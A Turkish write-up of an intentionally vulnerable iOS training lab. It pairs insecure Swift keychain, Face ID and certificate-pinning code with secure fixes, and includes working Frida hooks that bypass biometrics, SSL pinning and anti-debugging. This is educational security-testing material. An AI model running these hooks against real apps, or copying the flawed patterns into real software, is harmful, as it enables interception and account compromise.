iOS güvenlik modeli ve geliştirici yanılgıları
iOS platform güvenlik mimarisi modern tüketici işletim sistemleri arasında en olgun yapılardan biri olarak kabul edilir: donanım temelli Secure Enclave işlemcileri, zorunlu kod imzalama (code-signing), yalıtılmış sandbox uygulama konteynerleri ve derleme zamanı bellek korumaları.
Buna rağmen geliştiriciler sıklıkla işletim sistemi platform güvenliği ile uygulama katmanı mantıksal güvenliğini birbirine karıştırır:
- Sandbox Yanılsaması: iOS’in A uygulamasının B uygulamasının konteyner dizinini okumasını engellemesi, diskte yerel olarak saklanan verilerin otomatik olarak korunduğu anlamına gelmez. Fiziksel cihaz erişimi, şifrelenmemiş iTunes yedekleri, jailbreak işlemleri veya dosya paylaşım yetkileri (
UIFileSharingEnabled) düz metin plist dosyalarını, SQLite veritabanlarını veUserDefaultskayıtlarını doğrudan dışarıya açar. - İstemci Taraflı Karar Tuzakları: Face ID’nin
truedönüp dönmediği veya diskte/bin/shdosyasının bulunup bulunmadığı gibi istemci tarafında boolean değerlere dayanan mantık denetimleri, istemci çalışma zamanının güvenilir olduğunu varsayar. Cihaz üzerinde tam kontrole sahip bir saldırgan; Objective-C ve Swift çalışma zamanını Frida ile kancalayabilir (hook), LLDB ile bellek yazmaçlarını değiştirebilir veya Mach-O ikilisini yamalayabilir. - Keychain Hatalı Yapılandırması: iOS Keychain, kayıtları cihaz parolasına bağlı donanım anahtarlarıyla şifreler. Ancak zayıf erişilebilirlik özniteliklerinin seçilmesi (
kSecAttrAccessibleAlwaysveyakSecAttrAccessibleAfterFirstUnlockgibi) ve biyometrik zorunluluk eklenmemesi, cihaz kilitliyken dahi parolaların ve oturum anahtarlarının çıkarılmasına yol açar.
Bu saldırı yüzeylerini kontrollü ve tekrarlanabilir bir ortamda denetlemek amacıyla evilcorp-ios laboratuvarını geliştirdik.
EvilCorp iOS mimarisi: 30 yapılandırılmış laboratuvar
evilcorp-ios, iOS 16+ hedeflenerek tamamen yerel SwiftUI ile geliştirilmiştir. OWASP Mobile Application Security Verification Standard (MASVS v2), MASWE ve CWE standartlarıyla birebir eşlenen 30 kasıtlı zafiyet senaryosunu bünyesinde barındırır:
| Alan | MASVS v2 Profili | CWE Tanımları | Odak Zafiyetler |
|---|---|---|---|
| Depolama | MASVS-STORAGE | CWE-312, CWE-922, CWE-532 | UserDefaults tokenları, şifresiz SQLite, Keychain hataları, Pano sızıntıları |
| Kripto | MASVS-CRYPTO | CWE-327, CWE-798 | Sabit AES anahtarları, statik IV kullanımı, güvensiz ECB modları, zayıf hash |
| Ağ | MASVS-NETWORK | CWE-295, CWE-319, CWE-939 | SSL Pinning atlatma, açık metin HTTP trafiği, URL Scheme manipülasyonu |
| Dayanıklılık | MASVS-RESILIENCE | CWE-693, CWE-287 | Jailbreak algılama atlatma, anti-debugging devre dışı bırakma, Face ID kancalama |
Derinlemesine analiz: 4 temel istismar primitifi
1. Güvensiz yerel depolama ve Keychain hatalı yapılandırması (MASWE-0011 / CWE-922)
Mobil mühendislikte sıkça karşılaşılan bir hata, uygulama konteynerinin geçilmez bir güvenlik sınırı sunduğu yanılgısıyla oturum anahtarlarını veya parolaları UserDefaults içerisine yazmaktır:
// Vulnerable Implementation: Plaintext token storage in UserDefaults
UserDefaults.standard.set(userAuthToken, forKey: "session_token")
Fiziksel erişim sağlayan veya şifresiz yedek alan bir saldırgan, Library/Preferences/<bundle-id>.plist konumundaki şifrelenmemiş dosyadan bu kimlik bilgisini saniyeler içinde okuyabilir.
Geliştiriciler Keychain Services API’sini kullansalar dahi, yanlış erişim özniteliği seçildiğinde şifreleme koruması etkisiz kalır:
// Vulnerable Implementation: Keychain item readable across all device states
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "authToken",
kSecValueData as String: tokenData,
kSecAttrAccessible as String: kSecAttrAccessibleAlways // Deprecated and insecure
]
SecItemAdd(query as CFDictionary, nil)
Güvenli İyileştirme: Hassas veriler her zaman cihaz parolasına ve biyometrik kayda donanımsal olarak bağlanmalıdır:
// Secure Implementation: Device-bound, biometrically gated Keychain entry
let access = SecAccessControlCreateWithFlags(
kCFAllocatorDefault,
kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
.biometryCurrentSet,
nil
)!
2. İstemci taraflı biyometrik doğrulama atlatma (MASWE-0025 / CWE-287)
Finans ve kurumsal uygulamalar, hassas görünümleri (para transferi veya kasa görünümü) korumak için sıklıkla LocalAuthentication kütüphanesini kullanır. Tipik bir hatalı yaklaşım şu şekildedir:
// Vulnerable Implementation: Client-side Face ID verification
let context = LAContext()
context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: "Authenticate to view vault") { success, error in
DispatchQueue.main.async {
if success {
self.displayVaultContents() // Security boundary exists solely in client UI logic
}
}
}
Burada success değişkeni istemci kodunda değerlendirilen bir bellek içi booleandır. Frida kullanan bir saldırgan, evaluatePolicy:localizedReason:reply: metodunu kancalayarak geri çağırma (completion handler) argümanını doğrudan true yapabilir:
// Frida Hook: Biometrics Authentication Bypass
const hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
// Replace the completion block callback to force success = true
const replyBlock = new ObjC.Block(args[4]);
const originalCallback = replyBlock.implementation;
replyBlock.implementation = function(success, error) {
console.log("[+] Intercepted Face ID prompt -> Forcing success: true");
originalCallback(true, null);
};
}
});
Güvenli İyileştirme: Biyometrik doğrulama asla doğrudan istemci arayüz mantığını yetkilendirmemelidir. Sunucu kriptografik bir meydan okuma (challenge) üretmeli; Secure Enclave bu meydan okumayı .biometryCurrentSet ile korunan özel anahtarla imzalamalı ve sunucu imzayı doğruladıktan sonra erişim izni vermelidir.
3. Özel SSL pinning mekanizmalarını aşmak (MASWE-0061 / CWE-295)
Araya girme (MitM) saldırılarını engellemek amacıyla uygulamalar URLSessionDelegate içerisinde özel SSL sabitleme mantığı kurar:
// Vulnerable Custom Pinning: Easily hooked delegate method
func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
if challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust {
if let serverTrust = challenge.protectionSpace.serverTrust {
// Compare certificate public key against hardcoded hash...
}
}
completionHandler(.useCredential, URLCredential(trust: serverTrust))
}
Frida, ilgili delege fonksiyonunu kancalayıp challenge sonucunu koşulsuz biçimde .useCredential olarak döndürerek bu savunmayı tek bir betikle aşar:
// Frida Hook: Universal URLSession Trust Bypass
const resolver = new ApiResolver("objc");
const matches = resolver.enumerateMatchesSync("-[* URLSession:didReceiveChallenge:completionHandler:]");
matches.forEach(function(match) {
Interceptor.attach(match.address, {
onEnter: function(args) {
const completionHandler = new ObjC.Block(args[4]);
const serverTrust = ObjC.Object(args[3]).protectionSpace().serverTrust();
completionHandler.implementation(0, ObjC.classes.NSURLCredential.credentialForTrust_(serverTrust));
}
});
});
4. Anti-debugging ve çalışma zamanı bütünlüğü (MASWE-0096 / CWE-693)
Geliştiriciler LLDB hata ayıklayıcısının bağlanmasını engellemek için ptrace(PT_DENY_ATTACH, 0, 0, 0) çağrısı yapar veya sysctl bayraklarını denetler:
// Native C ptrace anti-debugging check
#include <sys/types.h>
#include <unistd.h>
#define PT_DENY_ATTACH 31
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_gdb() {
void* handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW);
ptrace_ptr_t ptrace_func = dlsym(handle, "ptrace");
ptrace_func(PT_DENY_ATTACH, 0, 0, 0);
}
Frida üzerinden ptrace sembolünü kancalamak veya ikili dosyanın giriş noktasını yamalamak bu kontrolü tamamen etkisiz kılar:
// Frida Hook: Neutralize PT_DENY_ATTACH
Interceptor.attach(Module.findExportByName(null, "ptrace"), {
onEnter: function(args) {
const request = args[0].toInt32();
if (request === 31) { // PT_DENY_ATTACH
console.log("[+] Blocked ptrace(PT_DENY_ATTACH) call.");
args[0] = ptr(0); // Replace with benign request
}
}
});
Uygulamalı Frida iş akışı: betikten bayrağa
evilcorp-ios içerisinde her zafiyet görevi etkileşimli ipuçları, sentetik test verileri ve doğrulanabilir CTF bayrakları ile donatılmıştır.
Test cihazında çalışan uygulamaya karşı dinamik analiz başlatıldığında:
# Attach Frida to the running EvilCorp simulator or USB device
frida -U -N com.jankesec.evilcorp -l bypass_biometrics.js
Biyometrik doğrulama tetiklendiğinde hazırlanan Frida betiği araya girer ve lab bayrağı doğrudan terminal çıktısına düşer:
[+] Hooked -[LAContext evaluatePolicy:localizedReason:reply:]
[+] LocalAuthentication requested for domain: "kBiometricAuthKeyVault"
[+] Forcing evaluatePolicy reply: success = true, error = nil
[FLAG] FLAG{SE_ENCLAVE_NEEDS_HARDWARE_BACKED_CHALLENGES_2026}
MASVS v2 eşlemesi ve güvenli kodlama kılavuzu
| Kategori | Lab Kodu | Zafiyet Deseni | Tehdit Etkisi | Güvenli İyileştirme |
|---|---|---|---|---|
| Depolama | LAB-01 | UserDefaults Kimlik Bilgileri | Yedek üzerinden açık metin parola sızıntısı | Yalnızca Keychain Services üzerinde saklanmalı |
| Depolama | LAB-02 | kSecAttrAccessibleAlways | Cihaz kilitliyken dahi Keychain çıkarımı | kSecAttrAccessibleWhenUnlockedThisDeviceOnly zorunlu kılınmalı |
| Depolama | LAB-08 | NSLog / print Günlük Kaydı | Sistem loglarında hassas veri ifşası | Yayın sürümlerinde log makroları kaldırılmalı |
| Kripto | LAB-09 | Sabit AES Şifreleme Anahtarı | Ghidra / Hopper ile tersine mühendislik | CryptoKit ve Secure Enclave ile dinamik türetim |
| Kimlik Doğrulama | LAB-10 | İstemci Taraflı Face ID Boole Değeri | Frida yöntemi ile saniyeler içinde atlatma | Secure Enclave ile imzalanan donanım meydan okuması |
| Ağ | LAB-06 | Yüzeysel URLSessionDelegate Sabitlemesi | Frida kancasıyla MitM dinleme | Network.framework TLS güven politikaları |
| Dayanıklılık | LAB-05 | Dosya Varlığı ile Jailbreak Tespiti | stat çağrısı kancalanarak kolayca atlatma | Sunucu taraflı cihaz bütünlük doğrulamalarıyla derinlemesine savunma |
Kanıt ve sınırlar
Tüm alıştırmalar, kavram kanıtları ve çalışma zamanı kancaları; macOS üzerindeki iOS 16, 17 ve 18 Simulator ortamlarında ve checkm8 zafiyetine sahip fiziksel test cihazlarında evilcorp-ios test platformu kullanılarak doğrulanmıştır. Frida betikleri ve analiz yöntemleri yetkili güvenlik denetimleri ve eğitim amaçları için tasarlanmıştır. Testler sırasında hiçbir gerçek üretim uygulaması veya kişisel veri hedef alınmamıştır.
Referanslar
- jankesec, EvilCorp iOS (Vulnerable SwiftUI Training Lab): github.com/jankesec/evilcorp-ios
- OWASP, Mobile Application Security Verification Standard (MASVS v2): mas.owasp.org/MASVS
- OWASP, Mobile Application Security Weakness Enumeration (MASWE): mas.owasp.org/MASWE
- Apple Developer Documentation, Keychain Services: developer.apple.com/documentation/security/keychain_services
- Apple Developer Documentation, LocalAuthentication Framework: developer.apple.com/documentation/localauthentication
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.

